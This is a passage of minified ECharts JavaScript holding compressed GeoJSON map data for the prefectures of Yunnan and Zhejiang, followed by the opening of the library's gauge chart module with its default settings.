¥„_V@l‚n@„ôy@al_l`nmƒÈ»@kƒmXwWK™U¯»™a™Å@wƒmUÝKUa™UUƒ™wWƒ@w²»@kƃV£—mm£VKkÑV@@»nwƒ¥™ƒ@kƙnllIVlnLVakalknJšWmnaUaVÑVVލn¥m@ƒ„¯Uÿl™@™™™VçƒaXaV¯UyVLVkš@nJlšXLlŽkxlbla²Òl@nVJVkšx„KlkUaVķÝÑU@Åm¯@±™Uó°ğńķĠmU™Ñ@ǯ¯Å¼@nml@°¯¯`@w™£@¯Çƒk@ƒ»nmċ¯U»™I™Ž¯LÇĶÛn@bó°™U›šwmޝ„™Umǯa„™ƒ™ƒI@ykIƒVUޝbƒIğŽƒ¼™¼ó¤mwkLÝÞ"],encodeOffsets:[[104243,23429]]}},{type:"Feature",id:"5326",properties:{name:"文山壮族苗族自治州",cp:[104.8865,23.5712],childNum:8},geometry:{type:"Polygon",coordinates:["@@šwô„š@²¯maUmôUÆxš@Xš˜bÞInlVUVw„JVaU„K°¥„xmÞXnlKlnna°@ĊČ„ÆwUmnkl@°ƒƒ£nyn@VV@Vak™ƒ@@kÞ݄bmx°Vnw°klÞInĖÞVlKl™@Xa°„„KlV„U@šJnx‚U@ÈĢbUKlm@ak_‚wšanWUk°ƒl»„k@Wk@lwU_ƒ@UalóU¥ƒÇnƒ™kJWƒ@mVXx±bƒK@nV±a@™Åa™£ÝK²ƒWknamKknǏk¯ƒaV™™V¯ĀƒU™„™Ò¥ƒI@mm¯¯xōW@@`k@ó»ƒUU¯lm£ÅWlĵ„w@mmwÅmWU@y±U—xmwU„¯Uƒ¥Ý¥¯£m@kŽÇVUV°VbklƒL™wUlUIm‚k@±ÑkbkalwkWKk™mI™@UlUKVzU°Wb„bU蚚@škšVƒ°@„n‚m¦ÝŽUUUÒVbmbXn™‚mIkllbUbmKUkkJmkŚ@lš„„¦mx@¼U@lÒULn¤˜nU¤Å„@l±¼@xX„šxV„šVVbÞLVŽ„n@xšÆšb°¼šV"],encodeOffsets:[[106504,25037]]}},{type:"Feature",id:"5303",properties:{name:"曲靖市",cp:[103.9417,25.7025],childNum:9},geometry:{type:"Polygon",coordinates:["@@ȦlKÞĕUV¯Um¯„ÇVUnVVUƒĉn™ĊÇƾLn°°È„JÆw„@lbÞa„¦V„XJ°¯W¯„aÞJVkUša„ƒ@lKnÅmWUk¯a¯»@m±@уkkbWWX_WÓU»_l™kÑm@U»m@l@IWċn¯l@VanV„UV™UVwVx„KȄVmUē‚@„ƒn@VÝÆL„w„VVwnVlmkUVÑǰka@k™ÿÝaÞUl£™›—ċĕX±±ĉƒa@UnVnalónk@wl™UVmkÝJ—aW™™@ÅwóVVnnb±°™@óƒ™xXLWx„n@lǼn„m‚k_k`@bózƒ‚m@kU@ƒ`„¦óƒ@nWš@ÜÅXWw@ƒyƒb¦@ÒlnUb@x™lܐk‚@²Ç@Uƒ¯bmy@kV@bƒb„¦U`lLVx@b—Ll¼Þ¤@„°VVބU@WސUb›J@nnš@lnnm„šxUŽƒUUbƒK@šÇwklkUƒVWakn@ŽlbU@@„ULVxkKUn‚°¯Ò@¼™„kmƒ¦m@kl™Ȱ@lU„l¦„@Vl°wšnnþĊUÆbUx™b„ŽV„šĖU°„a‚nnašV„al@@b"],encodeOffsets:[[106099,27653]]}},{type:"Feature",id:"5323",properties:{name:"楚雄彝族自治州",cp:[101.6016,25.3619],childNum:10},geometry:{type:"Polygon",coordinates:["@@mҁXU`Wnšš™@Xl±¦š„Uxnbl°knmKUx„„ƒxVôUx°¼ôÒȄ°JlnÞKĠœW°¦ƒ„Vx²JVwš_°¥@UV@@wnymknK¯I@‚™²b°ƒš£V¥šwU‚V„¤nLškÆJÈwôô°„l»Č¯ƒġVƒUU@@ƒ°ƒƒÝXl@U»°Å„@U„¯@w±¯VmUUlm@m™„ÑnIVyUwmak£Vwm±—@Çw@nƒ@UxkwlÇnL‚mkř@±Žk™ka@kóJV¯Ç»U£lw¯™Xalbl¥¯UXƒ@a˜™UaÈL@ÇVIVƒkaU¯mm™akLWkUJ¯Umxnšƒ@ƒkUx¯xƒ„mWÅīÝkkbƒŤƒbkxWmXwWk¯wƒKkƒƒLŤċń„@¤óĬU²ƒ@@lƒk¯VmU¯¼@xV@k°l°kbUš°nm‚VnUš@°„š„UVèރÆbUÒÞnU¦›V—¼lô„@Vl"],encodeOffsets:[[103433,26196]]}},{type:"Feature",id:"5329",properties:{name:"大理白族自治州",cp:[99.9536,25.6805],childNum:12},geometry:{type:"Polygon",coordinates:["@@lbœKVIUa˜@²m@b™xôÒÜxXLmbnšl@š„„K°šš¼k„Uô‚xôlV¦nJ„Uš™Ænšm„@šx„ÆwšbXšÆôô„LUVwôK@wlmšaVwœ@WknmƒIUmlnJla@_™@kÝmKUašÑm¯Xw°aUaVl»²JV„bÆJkôͲVVk„mšbVwUó„wƒƒVwnLlmk¯maVw™ƒ²¥Wkš@™™XmV_‚WnÑUkƒ@k󘻜UV¥ÝmVÑÅa݄UçƒVƒ™@¯V™Umn¯mV™lak¯l¯U@@wğŽW鯁ƒ@¯xÝw¯š¯Jċa¯U¥mLU¤„bÞȤƒbÇLWUwmIUVW¼kbš`U„Vb¯L±ĊÛkƒÿÝKkwƒKţê™UĉþƒÈƒV¯ÞVbUްKVšk²Ý‚mI—ƒmV@kƒm™UkšVxm„¯KXÈķJU¦V°ULWxšL@môƒšb@bkx±LnVUŽVLnkÜWnwlLŃmW@kkJU_ƒV„šWĊ„Þ"],encodeOffsets:[[101408,26770]]}},{type:"Feature",id:"5309",properties:{name:"临沧市",cp:[99.613,24.0546],childNum:8},geometry:{type:"Polygon",coordinates:["@@‚xĢ„l`²X°ŽV„šx@x°Þ°KXašğUњW‚bnIl`X²°b„xl°„„šV@xVxk¦mb„l@xšXV‚ÆzX¤™Æ˜k°„kx@lźêlaX»VUnJVx‚XÈK„aÝȣƒaV£nKV¦°‚Čb°I°™n»ÆÑV¯nWn›™@ÿXÅWWn¹ƒġōƒn»‚ÛU™™aU™VƒUw„w@w°ƒó¥ƒ@ƒz—ƒ±@ř›¯@kUwlk£±aĵޝ™›Uĵ¦±±@bó±VÝ@ó¤ƒw¯I@mńóm±XޝIólƒK@š°Ullb™zkKlln@@ԙºƒUmVk²ôҙx™ŎUVóLƒb„ŽmÈnŽmbnl‚a„x@z„@Ǝ„¦kš"],encodeOffsets:[[101251,24734]]}},{type:"Feature",id:"5334",properties:{name:"迪庆藏族自治州",cp:[99.4592,27.9327],childNum:3},geometry:{type:"Polygon",coordinates:["@@W™Xwƒ™@akk@y›—k°īX¥›Uóķ¯w@n»UaVaUۃ¯ƒmV¼k‚™Þċô@n¯xÛÒm„V‚¯Ô@xƒ‚@šk™wm™Åa@ƒUa‚݁¯VŃyV„a@ÿšn»ÝVmank™mmÞÅôƒ@n£±›ğzÇmU¦™Vm„nÜmbn@°nV@xmzÅ@mºV¦k°ln¤š¼õô„n@xkƃIUxUš@Ťƒ¦VšmVkmkXW¤XzVx@ƚx™¼ƒÞ¯b@lVš™ĸގV„m¼XŽm¦V„ŽÞ@Ǝš¹Vón¥ÆKn„‚KX¯x@èĊȱłXšaÆxnlV@UÛlȻkğV¥„m²ljmÅÞĕƒƛm°„ÆmX¤mznƃŽV¦ÞVVb°bnÞWbnްl@V„È@„‚VĵĊ±@ó„InxÆw„¥@£Þ›W¯ĸ£UƒUK‚ƒk±akkkbmWmÈķ„aÆÇU—ȃÆW@wmknmU¯"],encodeOffsets:[[102702,28401]]}},{type:"Feature",id:"5306",properties:{name:"昭通市",cp:[104.0955,27.6031],childNum:11},geometry:{type:"Polygon",coordinates:["@@mƒnK@wmƒUř¥mšóXǓŏmX@Ž—VƒmL@xţ™nk@mlUšŻÒğŋ@ƒL@mmLkm™š@b™XŎW¼ka¯lÇŹ¯aÇ»™ÝÝ_@m„@@a™@UklwUm@ak@ƒb™UmbmƒbV¯™ĕUƒƒšaVwÅaĉVmý™m¯xUkƒ@k¥VƒUXƒ¤VÈm`@„—ńÇÜ@Ākn‚ĔkƞÆĠ„™Þš‚U„VôƆÞI@ŽUxƦn„l@ĊĊnxUÒ°¦Vb¯WUnWށIml@xn„Ubô¤‚¼ÈxlI„»šKVš„@ÈԂJkšU˱ÆVb@nœ„VÜVUVƒšL„wĠl„kn„Ġ@nx°¥Æ„²mUwƒ@m™mÅUl¯UњÑUm„Lll„Il±š@VkwƒW@w°@U»™kUóI°ƒ„»ĢтL„™š`nUĠ²lm„bôV@n„JUxƦX¦l@š‚ŎUƒV„@lV„KVřV£UaÞU™ƒnW@¯VU@ó™"],encodeOffsets:[[107787,28244]]}},{type:"Feature",id:"5301",properties:{name:"昆明市",cp:[102.9199,25.4663],childNum:11},geometry:{type:"Polygon",coordinates:["@@n@Vk‚VUn²°@xƒ°Vƒ@¯ÆV¼k@WŽ„Þ¯„@„@‚VVU„„Ģċ°k¼V„Ċxœ¤Ōœx°mVkƒÑȏšL‚°„x°Xœ°VmĊLVxU˰bX¦VW@kšȯlkn@„¥lnšƒ@»°Ñ¯VmlLUwVK@ƒV@ka@lmXb„UlVlkÈx@™„LVa„VV™wnƒmm@km™@mœIVaݏ@XƒVUݯU@ƒÝ£k»˜K@aUwkKV_ƒ¥„a@alU@nz°aV„È@@±lÛšk@wVakm@т¥„a„z‚@XxÆW@ÛX™@m@ƒy@aWw@kōĉJlbV„JƒzţÆUwVkmWkým@Ul™U@b¯wVºƒU™VUêšĠƒXUaUbVĊUŽWXUmkK™™WnUUU™V™ƒƒVV™Ý@kk±‚™¯ƒƒLkƒš±WkXlVklƒ@ƒwXbmLƒ›VUIVmk@Ubma@kkaVKUƒ™kmlXLWn™J¯ÒĊ°@zkºlLUŤn@@n›ô@lƁnmKkÈlxVw„@@mÈx˜@n²Uxl¤nbVxUzmJƒÒnš"],encodeOffsets:[[104828,25999]]}},{type:"Feature",id:"5307",properties:{name:"丽江市",cp:[100.448,26.955],childNum:5},geometry:{type:"Polygon",coordinates:["@@l@™„@w°ÓUnƒÜѰw@mČóšÝlU»n°„„VÜUbVbm¼@ްxôĸœVW¦¯Ĭlœ˜@zll@b„šWxXš‚a„X@ÆĠÆaXwl@XaƦn¼˜Jn@mnKW¯È»V¯°ak™VanXVwl@VyUĕVU„bÈīlaUk°ƒk¯lƒ²V˜Ukƛô@ƒ„I@mVwĊa„™ƒVaka„™ÆbUŽVLšaXIWKUw™ƒ„aWÑÅKUaVk°ƒ@Uw„ƒ¯¥›XğÝLkm¯Iǃóѯ»™aƒnUl±UĵÿlóÅIƒaU‚±Ik¼UŽVb¯bWxn°™ÒVbnLlޚ@@`kbmIkŽVn„JmnXl›@Ux™bkn@xóLUxVŽƒKóóŐW™™aÅxƒŽ™wƒ@™nÅm™šƒV™„ƒôX„ƒLlVU¤ƒb¦m¼™Ž@ƒbU‚„zUƂ°ÞVb@„Æbnššx"],encodeOffsets:[[101937,28227]]}},{type:"Feature",id:"5328",properties:{name:"西双版纳傣族自治州",cp:[100.8984,21.8628],childNum:3},geometry:{type:"Polygon",coordinates:["@@l²°ŽnÒlxÞ@„nWl„Lĸ™nbV¤V¦kbVV‚¦na„x°Vôa@„šb@lôXlWUšVXČKlmššU@bšWXXܛ°LÈa°LnU°‚ÞnšÑ„ġ°lƒnbšaƒ¯¯KWƒœó@kmK@UšĉV@k°„VV¹„a@y‚_ċl_nÓlL@anI@ƒóWl£VU—ƒl™kĕl™šKVw„U@™kVƒam¯ÅL@bƒ‚Ýk@Vn„UbÇbÝwÅ@ċ¥¯lk‚¼ÅŽ™Ò°b@¦nlUn@ŽÇV„mƁbWôU@ÝÅōm™¯ƒaU™™mk™WWw—@±ƒ™n¯U™è™a™Lƒ¯mƒL™škwƒl@°mnÈÒ¯šów@V™xƒĀU¤°Įƒ°Xl"],encodeOffsets:[[102376,22579]]}},{type:"Feature",id:"5305",properties:{name:"保山市",cp:[99.0637,24.9884],childNum:5},geometry:{type:"Polygon",coordinates:["@@X°„Il‚@¦ƒŽÈ¼m¼ÞaÞÅl„ÈxV¼šlVôÈÆlLޣȺlkUƒ‚ƒUw„¯UĕVwĊ@n¦mlnVĸIWǰLnƒUwl™šV„n@lnU˜„nJށl±U™¯LVUa°Ý„U„ÇĊýšVŤé„LlxÞL„ĀÜl²ĉ°KUaVƒ™_Źé@klw¯ƒlÅ—šW£ÅyU™W@wƒknal¥Uw@w™Uƒƒk¯ƒw¯aW±k_mJa™XVҙĠWb¯L¯Ý@w™wUƒ¯±Wk_ġƒwƒwōKmb@¤„bk°l˃ô„UJƒšVnÅlťUš¯°VbnbWxX„m„ÞššWUĀ™L™yWzÛKmbUxVKkn݃kŽVšĀċ¤Ux„@ޝŽm@ƒ¦"],encodeOffsets:[[100440,25943]]}},{type:"Feature",id:"5304",properties:{name:"玉溪市",cp:[101.9312,23.8898],childNum:9},geometry:{type:"Polygon",coordinates:["@@l„„L°xXlWxXnlw„a„ţlaÞlÆĬnX„ƒ°wVw„l„@m™nw°VVIXllKšbnnV°lbU„UJ@ÈÇKVb—š@bW„°Vk¦kaWb°škxV¤È¼U°ôI@llblš²š@‚@œó@mm@VţkKl¹@yĉ¯°ÑšIXmWKnkšlV„ULlb@lnbVal@UnVJœU‚„nKWa„x„@lkkUlW²X„™‚l„K°„šl²@lšÞUŽ„U‚„UšVšVVXmššlLVnXWVUĉVaVb„W™ğVéšU„VU¹W»aVa„aW™Xƒ‚_U¥nÇ흙@a™lUnǍUyk@@wW@kbW¦UKÝwUmmƒƒLUnVxUVVlk¯mmnƒmkÇaŤ¯I@ƒl@@aĉw°ĕmU—L±ƒk™ÆéX™ÜÛ@yÈç@™Çġ„Ýķ—XmmÝVՙƒ™lmnkbmWkb@nl@nŽmš¯VxkJmUJ„ml¯™°makVVnVƒ¦™Wƒ—Wmnl@xmn„l‚I„¤„n™xU„ƒVUŽmX@˜ƒb@zl@¦Ýþ"],encodeOffsets:[[103703,24874]]}},{type:"Feature",id:"5333",properties:{name:"怒江傈僳族自治州",cp:[99.1516,26.5594],childNum:4},geometry:{type:"Polygon",coordinates:["@@WyX£lWlnnUU™„¥@ţV™Vw„JlÅ@wƒmö󙻂£kml¯U¥n¹Æ@ny@wmU@¯mnamÛnƒšUV¥ÈnĠy²œm¤„@ÆónݚnmlnbÞU‚¥„aV£kU„KWƒ„óšƒmIU¥ókwVólƒ™»¯™ƒL™ƒk@m™naWKÛwóњw@a±n—@VbUJ›LkaƒÝXĉƒ™„UV`lI@lnXÆƑkKmxÛXmlUKVmU²Klw@a™aó„@n™KXwVKU¯V¥mUnkm¥ĉ@UxV˃°Vx„V„klmޙkKWĀkVWšnl°Lnm@°ŽUxlV@nk¦™JVȰŽVÒ@nX°@ÆlUômlnôƒ²nxmłnVV„¯x@Èm°XblVUšl°@xkXU¤WXX‚W„Xƃ„mkÅJmށw±bƒxUīkKmÅVUĖÝèV„kx@š›lX„lnk¤ƒLkŽ‚Ėk¦‚xUššL°‚¯Ė@LnK@b°xVI„¥Ua°Ñ@»nm@¹‚KŎÞÈWln²n"],encodeOffsets:[[101071,28891]]}},{type:"Feature",id:"5331",properties:{name:"德宏傣族景颇族自治州",cp:[98.1299,24.5874],childNum:5},geometry:{type:"Polygon",coordinates:["@@„¥n@°@ƒVwČ£™ÿUlÞ„lmULVwnaÜLXyšzšKVÿ™XݙnƒWƒXwmaUa°¯V™ŦŽÆkUm„™VIƒ„ókĕl¯ƒa@£nama™@¯m¯œó@óyţbġkÅm±ÛammVkƒLwU`Wk@VƒkUmŃlUUKmbkkUVUwƒ¦óް¼šbn°ô¦lºƒz@xšŽ¯„™@UްnƒšU¤ţU„°VƆ@ÈmlnzÞl°¦Æa„xUxƒLkxWƒn@‚š²ŰšW„™‚@°ÈXl°Llx"],encodeOffsets:[[100440,25943]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/zhe_jiang_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"3311",properties:{name:"丽水市",cp:[119.5642,28.1854],childNum:9},geometry:{type:"Polygon",coordinates:["@@@V‚bVl@Xn‚UXƒKVŽ@¦nxlUXV‚n„KVmnL‚UV@bn¤lLXK˜²„`nnlJXIVJ‚I„Vnn°KnnVll@VLXWV@UkVaVK„zV@„ƒšVVaUK@U»VUl@@WnUUƒ@wVLn@Vwl@XW°LVbn@VU‚@X„l`@XnKVbkl@XVJlUnlV„„xlL@lnXl„@VšUnV°°„@a„UVLXblWVXn@VVUV@Lš¤VLV„U‚VbnalLUUVX_laVa„WVzXKV@@a@KUmImmXama@kU@yVIUK‚aVa@kXK@aWU@VIUmW@kkVm„Uš@VwUa@K@k@Uƒ`@kUKVk@UV@VaUm²Vy@klUUWUkVmUa@_ƒKVaXa›XmƒU@mUlWkaUXƒ@mmkL@w™JƒnVVÅbWKXa™@@I@aƒJUUÇ@V„UL™W@akLmb@K@a™XXw@mƒVmUVkUy@£@aU@@VkUWm@kUKƒXUWU_mW@wkkmJUUkLWWUXƒW@IkJ@k@mW_kӃ_Ul™Lƒm@I@aUa¯m@kƒa¯LUJƒ@mVVxUb™a@LUKkXƒbm@Uak@@a@Um`ƒIUbUJ@nUVW@@LnVV@lšUbVlUX@`š@blXklW„Ušm„Xlm¦U@@V¯bml@š@nUb@llnn@VbX@lV@ŽUVULmU@JVn„bVbkb™VWxU@@nUVk@"],encodeOffsets:[[121546,28992]]}},{type:"Feature",id:"3301",properties:{name:"杭州市",cp:[119.5313,29.8773],childNum:6},geometry:{type:"Polygon",coordinates:["@@X@l„°KXXlW„b@²„`šššb‚I„šX`l@„@bWl@n@VnLUV@V„@°¦@šl@XVlU@š@xVbUb@Vkb@‚@XVJVz™J@Lޚ@VmLUxUJ@LU„Vx‚b„xXUl@VaÈw„b‚aÞa@Vl@XUVx@V@V„LlbnV„al@lb„Vnn‚LnKnL@VlbVJXalIšb@KUU@mVInJ˜„U„Vl@xUšVLnUš@UÞaV@lkV@UanK„L@UlKVUnbÆmn@@nUlVnVJl@@UXU„L@WVIVJVxVLXV@IÜKnbn@V¥V@@I@ƒƒ„y°b@UUwnk°ÆƨVlUšçXm›£aƒÇ™IkVƒ@WV@@aWIUWUIkb@WW@UnƒK@UU@kaWVkƒVIVVnU@UWVUV@VmVkKkWIkVWaULU`UImJUImm—U@ƒƒwmwUV™IUWVkUamaU@mV—kƒb@KVU@aVU@anKULVJ‚U@kÛU™JUV›kkƒVakU@ƒaVwkW@UWkXmWaULUaUK@XƒJUUmƒVU@UVƒUkJ@ImwmKU@k„@lU„W@@akKm„kamIkWl_UwVm@UkaVUUaƒ@UamakbWlkL@aUalU@mkL@U@U™lmK@XkKm@Ýakb@xƒnXbƒ`ƒnUUU@›™U@™wU@@ƒmKkkƒV¯U@lULUbVbUb@V‚a@L™ºÝb@bLmK™x@VUL@bk@mxULWl"],encodeOffsets:[[121185,30184]]}},{type:"Feature",id:"3303",properties:{name:"温州市",cp:[120.498,27.8119],childNum:9},geometry:{type:"Polygon",coordinates:["@@ll@xnXV`VX„WVL@lXnlV@UV@@b@¤VzUlnV„U@nWxšW@b@LnalK@bšXVKUƒÈ@VV„I@b@Jš@WbXLÆaUU„mšI@xlKnn„@VWlbkXV‚@n„VWnœ‚WbUb„L@`VbUnVlVXkV@lUz±‚VnUbU@@VUlVL@l„_@V@l@LVbV@XLV`VÈlxn@lU@aœaVV‚k„@XJ@nl@@LU`°LVb„L°a@a„UVy@anI@a„a‚nV@²wÜJX@VšVV°k„na@WVk„aWwU@m@™ƒkƒaUĕ™ÝšÝŤnÈa„aóI›»@±X™WkUķ@kV±kw™ƒUkWw„™UƒÝ»ÛkɳlImaUaWóXÿǬk‚UnWVmmk™KţnŏÞğl™„UlUx@XWb„V@JkXƒ°mb@VULVxUVk@@LWWk@WIkšƒUkJmUkVmI@yƒ@Ua™kLm‚U@mUUUkaVk™@mK@UlUU@UmKmbUUUJ@n@KVLUL@VkJWXX`mnULWlkL@JVLVb@°kxkU@LVŽ™V@„VLV`UL@VUX"],encodeOffsets:[[122502,28334]]}},{type:"Feature",id:"3302",properties:{name:"宁波市",cp:[121.5967,29.6466],childNum:6},geometry:{type:"Polygon",coordinates:["@@Ċ¦ĸ°‚nXÞVšKškƨƑźÿ°»n„@wô¥ÜbœU°ÆXÞWóçĉݱIUƒÈ¥@U°wÆ»²mm_@aXƒVKÞVlk@akk›̅@£X»VwƏXWa¯aȗb™KƽۃĊ™xƒLóŽk@ƒƒƒ@¯nƒKUL@xkL›ÑkWULUUmJUXVŽU@mŽUX¯@V`mbXbV@@nn¤WXšx@škJ@nVVUVl²UbÝVUVk@Wx@V@„ƒVXzmlaƒL@VlLU`„XUVVVUnl@VbnJlnUVVnƒlUKkbmnn„VxlJnxmbU@UL@KUV™X@xmb@lk@mnVVUš™è"],encodeOffsets:[[123784,30977]]}},{type:"Feature",id:"3309",properties:{name:"舟山市",cp:[122.2559,30.2234],childNum:3},geometry:{type:"Polygon",coordinates:["@@l΢ƒʠþÆVĢLĊƒǬXĊ܄XôV„ÑÆw„ƒlšƏÈóVĭVǓ@ƒĉwɛkmK@ĉXīWaĉUĵÝmƒ¯ĉƒwĉ±±nż¯x@VǦV„²JĊÞôèÝXÅW¯›VÛaó¦@xƒŽmޝ¼ŹĀ"], +encodeOffsets:[[124437,30983]]}},{type:"Feature",id:"3310",properties:{name:"台州市",cp:[121.1353,28.6688],childNum:7},geometry:{type:"Polygon",coordinates:["@@lV„IVWVz@bXJl@Xal@°„nLll@nVxnV„K@UJVbƒ¦°„k`UIWJXnƚ@bUJ„Xl@lb„Wn@UzVV@bVVšmVnnJVXna‚bšKUKnUVVUnVLlKVLXa„Jm£@mU@WanaU_°@VWnV@UVWnIVVVKlXœÒlK@wVK„L°m„@„„l@ô„Kšw„ĉƾůUƒl£@»UƒVk„m@ƅUƒƒaÛIŏmUk@m„w@a™£ƒWk@ţšƒIm±@ankôUlaU™Uw¯ƒōaƒbÇbţm™ÞšÞVĖ„b„l@š@n‚VXxƒbUl@XmbƒŽ¯lUUU™W@ÛI±xU@mƒb@bmJ@bUzƒV@b¯bƒKUa¯KV_@Kk@@mWIƒ@lUU›b@bkVm@kwUÇU_WKU@Ux™@ƒVUnllX@Vn‚J@UXV@bWL@lUbbVLUJ@z‚V@lnbWbnnnJVŽ@L"],encodeOffsets:[[123312,29526]]}},{type:"Feature",id:"3307",properties:{name:"金华市",cp:[120.0037,29.1028],childNum:8},geometry:{type:"Polygon",coordinates:["@@nbVb„@VbUVlb@VUnVxk`lXnJlbnƒlL@bX@Vƒ@klƒV@nLnx@JlI„V‚U@VUVn„VV„I@WVLVbVKXbWnXl@VlXUx„b@ŽlVUbl„œlVUšIÜVnalKX@@bV@@aUUlUƒwUw„@naWW„UVaUUšaVb„LlxXJVk°ƒUƒlkU¥@k„a@LVlXLVlšVWznVn@lxšJl_@WX_@mVa„a@alU@kVVna„KVLlK„b@UUaVašbnUWmXU@k@yVI@ařWmXIVJl_¯ƒ„¥UaVI@ƒLmUUw@mkkmK¯ƒk@Wbk@WI@aUyUXƒJkU@bU@WLUyƒXUbkbW`UVVkKmbUaVUƒUK™£@KVUUUm@UWkXWaUKƒV@b¯ƒ¯mU™V@UkƒmW@kkKƒwUƒmkkVUI@WlkUamL@Wk_Wƒ@UVm@Ua¯KWXk@Uxm@UK@xV„mV@Xk@UVV¼@‚VLUb™Uƒ„U@ƒyULUbVlU@@XlVUVVbƒU@lXXVW@XUVl@@VUVƒÈn@VVU„@lVa@„U„mL@`X@`WL@VUX@lUL@xlx"],encodeOffsets:[[122119,29948]]}},{type:"Feature",id:"3308",properties:{name:"衢州市",cp:[118.6853,28.8666],childNum:5},geometry:{type:"Polygon",coordinates:["@@XkVKnwl@@aVK@UšwnL‚K@aÞaš¹@Kb@UVaUaVaVK@k°V„UllnL@„V@šxV@œšV@VV„m„_Wa„m@wlaÞbn@lL@WnLšk@V@VlK@nkVVb@blKXklakw@wVK@kVW@UXK@_‚W@_nKVƒ@ƒUb@kVƒUUm@„ÇVU@Uk@VU@WUXWW@k„VUaVUkU@WWXUKk@Ukmm¯LmmƒUJUIWJkImmƒ_—±WLkKm£@aVUmKUnƒLmWUkVmw@¥U„LVWm@WUka@UmmLmm@@bUX™@@WUIm@UVUK@UVUUU™VVJmb@b„Xn‚mVƒ¼nnn¦mJUVƒL„V@VW@UzUlVnUbl`UnVl@XU@kl@bmÈUx™Vk@@J@„ƒ¼W@ÅaVVnzmVƒ„@WJk@kWJ@ƒlXbWbXxmVnšlLXb@°lKVXnWšbWV„„X„mbV@Xl‚bšI@Kn@@x@šVLlm"],encodeOffsets:[[121185,30184]]}},{type:"Feature",id:"3306",properties:{name:"绍兴市",cp:[120.564,29.7565],childNum:6},geometry:{type:"Polygon",coordinates:["@@„x@„˜VnnVJnIVJV_VKXblUXJlŽlLUŽUnU@UVVX@ŽmVUUUJl„XUlbV@@V„LVmX@@XlaVJVXXJ@b‚@XU„@lUšJ„È‚bœ¤Ō„JšçV™UUnml@@kna@wšWVU@LVKV@namwkIUwmƒnmlaVL„kUmVUkmmIUak@VmUUVUƒWV_kK@U„K‚bnkWy„U@ƒ@UXwl@VUÞUVak±VUUU@mlI@™™wXWƒIWbUKkLUKVmUUmVVL™LambUWmIUm™nUU@aUUVym@ƒXkak@ƒW@z@lWVXnmV™aUbVb@VƒakLUKƒLmbUU@lkV@bƒbUb@nW`@Xk`™Ikwm@mUXy™UUkWKUk@Kƒb@lV¦klV„¯„UlWIkwƒKUa™bVVUbƒVXXmbƒ@Vx„xkVVV@bU@@aW@kLmb@lVUIVKmL@bUV@bUV@L„a˜lnUV@nbVbUlVXšJVUnx"],encodeOffsets:[[122997,30561]]}},{type:"Feature",id:"3304",properties:{name:"嘉兴市",cp:[120.9155,30.6354],childNum:6},geometry:{type:"Polygon",coordinates:["@@@blIX@@VÜVUnn@l‚k„lKnI°Þl`²LVKVbnbVaVLUVn@W¦@VkVVb„@VI„`@blLnL‚aX@„VVb@U‚@XlVa„@@kVaUKV»U_lWXUƒƒ@alb„k@VllnLVKn@@UVIUw@y°IVVXU@VV@lw„m@wVkƾaœJ‚LkΡƧƒ™l™LÝUmW¯ķÿĉ¥ƒIŋŽWn™èkVƧU¯ÅmlVx@V¯aƒz„Ž@„@JU@U¦m@@šnVmn@V„LV‚"],encodeOffsets:[[123233,31382]]}},{type:"Feature",id:"3305",properties:{name:"湖州市",cp:[119.8608,30.7782],childNum:4},geometry:{type:"Polygon",coordinates:["@@kLlƒkm@VmÛU@UW@kJ@aUƒK@UnmmU@™maÛL@JWUUKUwUIUJ@XƒKWV@Vk@UIUmVk@mm@ÅnmaUVkL@VƒKmLVbU@klU@ÝbV™@mVUKV™@wUkVƒ—ƒmIUJ@nVV@L™akJWbUIka@UmKmLKmmƒUUVk@@nmLX`WXUV@Ž@nUl™kmlU@Ub„„ƒxVVšIlV„Žšnn„@@n˜„UҚ@„°n@@xmb@„VbnV@šš„@b@`@L@L@x@blVklVbnnV@‚aXb°VlU@W„b°U„LXWVUV™„™VwÈwÜ»ĸaĠnUVw²X@V@lVU@wlaUUVm@knUV›"],encodeOffsets:[[123379,31500]]}}],UTF8Encoding:!0}}),i("echarts/chart/gauge",["require","./base","../util/shape/GaugePointer","zrender/shape/Text","zrender/shape/Line","zrender/shape/Rectangle","zrender/shape/Circle","zrender/shape/Sector","../config","../util/ecData","../util/accMath","zrender/tool/util","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.refresh(a)}var i=e("./base"),n=e("../util/shape/GaugePointer"),a=e("zrender/shape/Text"),o=e("zrender/shape/Line"),r=e("zrender/shape/Rectangle"),s=e("zrender/shape/Circle"),l=e("zrender/shape/Sector"),h=e("../config");h.gauge={zlevel:0,z:2,center:["50%","50%"],clickable:!0,legendHoverLink:!0,radius:"75%",startAngle:225,endAngle:-45,min:0,max:100,splitNumber:10,axisLine:{show:!0,lineStyle:{color:[[.2,"#228b22"],[.8,"#48b"],[1,"#ff4500"]],width:30}},axisTick:{show:!0,splitNumber:5,length:8,lineStyle:{color:"#eee",width:1,type:"solid"}},axisLabel:{show:!0,textStyle:{color:"auto"}},splitLine:{show:!0,length:30,lineStyle:{color:"#eee",width:2,type:"solid"}},pointer:{show:!0,length:"80%",width:8,color:"auto"},title:{show:!0,offsetCenter:[0,"-40%"],textStyle:{color:"#333",fontSize:15}},detail:{show:!0,backgroundColor:"rgba(0,0,0,0)",borderWidth:0,borderColor:"#ccc",width:100,height:40,offsetCenter:[0,"40%"],textStyle:{color:"auto",fontSize:30}}};var m=e("../util/ecData"),V=e("../util/accMath"),U=e("zrender/tool/util");return t.prototype={type:h.CHART_TYPE_GAUGE,_buildShape:function(){var e=this.series;this._paramsMap={},this.selectedMap={};for(var t=0,i=e.length;i>t;t++)e[t].type===h.CHART_TYPE_GAUGE&&(this.selectedMap[e[t].name]=!0,e[t]=this.reformOption(e[t]),this.legendHoverLink=e[t].legendHoverLink||this.legendHoverLink,this._buildSingleGauge(t),this.buildMark(t));this.addShapeList()},_buildSingleGauge:function(e){var t=this.series[e];this._paramsMap[e]={center:this.parseCenter(this.zr,t.center),radius:this.parseRadius(this.zr,t.radius),startAngle:t.startAngle.toFixed(2)-0,endAngle:t.endAngle.toFixed(2)-0},this._paramsMap[e].totalAngle=this._paramsMap[e].startAngle-this._paramsMap[e].endAngle,this._colorMap(e),this._buildAxisLine(e),this._buildSplitLine(e),this._buildAxisTick(e),this._buildAxisLabel(e),this._buildPointer(e),this._buildTitle(e),this._buildDetail(e)},_buildAxisLine:function(e){var t=this.series[e];if(t.axisLine.show)for(var 